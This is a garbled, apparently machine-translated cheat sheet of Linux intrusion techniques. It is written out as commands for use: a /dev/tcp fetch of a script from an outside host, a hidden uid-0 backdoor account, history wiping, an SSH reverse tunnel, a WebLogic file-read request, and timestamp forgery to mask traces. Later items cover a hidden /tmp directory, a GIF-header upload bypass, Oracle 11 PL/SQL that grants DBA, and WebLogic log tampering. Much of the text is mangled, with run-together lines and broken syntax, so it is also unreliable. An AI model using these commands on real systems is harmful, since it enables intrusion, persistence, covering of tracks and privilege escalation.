Basic Methods of conventional intrusion penetration in Linux

1. exec5devtcpyese. yi. org80echo-eGETc.plHTTP1.0 \ n5cat5c. pl2.Linux remove the history record exportHISTSIZE0exportHISTFILEdevnull4 by adding the user useradd-o-u0cnbird3.bash with uid 0. SSH reverse link ssh-C-f 1. no wget NcWhen downloading tools
ExEc 5 <>/dev/t Cp/Yese.yi.org/80 & echo-e "GET/c. pl HTTP/1.0 \ n"> & 5 && Cat<& 5> c. pl2.Linux add u Id0 users
Usera Dd-O-u 0 cnbird3.bash remove the history record
ExportHISTSIZE = 0
Export HISTFILE =/dev/null4.SSH reverse link
Ssh-C-f-N-g-R 44: 127.0.0.1: 22 cnbird @ ip-p specify the SSH port of the remote server
Then execute ssh localhost-p 44 on the server. 5. weblogic local file read Vulnerability
Curl-H "wl_request_type: wl_xml_entity_request"-H "xml-regis TrYname:.../"-H" xml-entity-path: config. xml "http: // server/wl_management_internal2/wl_management6.apache view the virtual web directory
./ Httpd-T-D DUMP_VHOSTS7.cvs penetration skills
CVSROOT/ PasswdUNIX SHA1 Password File
CVSROOT/readers
CVSROOT/ WriteRs
CVS/Root
Files And Directories updated by CVS/Entries
CVS/Repository8.Cpanel path Leakage
/3 rdparty/squirrelmail/functions/plugin. Php9. Modify the Upload File timestamp (mask intrusion traces)
Touch-R old file timestamp new file timestamp 10. Use bai DuAnd google search Target Host webshell
Intitle: PHPJackal 1t1t11. Total package supplements
Create a temporary "hide" Directory Mkdir/Tmp /...
/Tmp/... the directory is "hidden" when the Administrator has a sleep. You can temporarily put some exp 12. use linux output to bypass gif restrictions.
Printf "GIF89a \ x01 \ x00 \ x01 \ x00 "> Poc. php13. reading environment variables is very helpful for searching information.
/Proc/self/environ14. the latest ORACLE 11 upgrade user permissions (as long as session permissions)
IMPORT_JVM_PERMS in DBMS_JVM_EXP_PERMS determines the login permission
Select * from session_privs;
Create SESSIONselect * from session_roles; select TYPE_NAME, NAME, action from sys. DBA_JAVA_POLICY Where GRANTEE = 'gremlin (username) '; desc java $ POLICY $ DECLARE
POL DBMS_JVM_EXP.TEMP_JAVA_POLICY;
CURSOR C1 IS Select 'Grant 'user (), 'sys ', 'java. io. FilePe RmIssion ',' <> ', 'exe CutE ', 'enable' from dual;
BEGIN
OPEN C1;
FETCH C1 bulk collect into pol;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS (POL );
END;
/Connect/as sysdba
COL TYPE_NAME FOR A30;
Col name for A30;
COL_ACTION FOR A10;
Select TYPE_NAME, NAME, action from sys. DBA_JAVA_POLICY Where GRANTEE = 'user'; connect common user
SetServeroutput on
Exec dbms_java.set_output (10000); Select DBMS_JAVA.SET_OUTPUT_TO_JAVA ('id', 'oracle/aurora/rdbms/dbmsjava', 'sys ', 'writeoutputtofile', 'text', NULL, NULL, NULL, NULL, 'Clare PRAGMA AUTONOMOUS_TRANSACTION; 'in in EXECUTE immediate' 'Grant dba to user'; END; ', 'begin NULL; END ;') from dual; EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOWS ('no _ such_subscri', SYSDATE (); set role dba; select * from session_privs; exec sys. VULNPROC ('foo "| terminate (" ID "," declare pragma AUTONOMOUS_TRANSACTION; begin execute immediate "" grant dba to public ""; DBMS_OUTPUT.PUT_LINE (: 1); END ;", "TEXT") | "BAR '); Select DBMS_JAVA.RUNJAVA ('oracle/aurora/util/test') from dual;
Set role dba; 15. webLogic penetration skills
4. Weblogin Script Tool (WLST) written Modify \ config. xml1:
\ W LsErver_10.0 \ server \ bin \ setWLSenv. sh
2. Start WLST
Java weblogic. WLSTwls:/offline> connect ('admin', 'admin', 't3: // 127.0.0.1: 7001 ')
Wls:/bbk/serverConfig> help () wls:/bbk/serverConfig> EdIt ()
Wls:/bbk/serverConfig> Cd('Servers ')
Wls:/bbk/serverConfig/Server-cnbird> cd ('log ')
Wls:/bbk/serverConfig/Server-cnbird/log> cd ('server-cnbird ')
Wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird> startEdit ()
Wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird!> Set ('filecount', '4 ')
Wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird!> Save ()
Wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird!> Activate () submits the corresponding Active Change
Wls:/bbk/serverConfig/Server-cnbird/log/Server-cnbird!> Disconnect ()
Wls:/offline> exit () 3. batch processing:
Save the preceding CommandCnbird. py
Connect ('admin', 'admin', 't3: // 127.0.0.1: 7001 ')
Cd ('servers ')
Cd ('log ')
Cd ('server-cnbird ')
StartEdit ()
Set ('filecount', '4 ')
Save ()
Then run java weblogic. WLST cnbird. py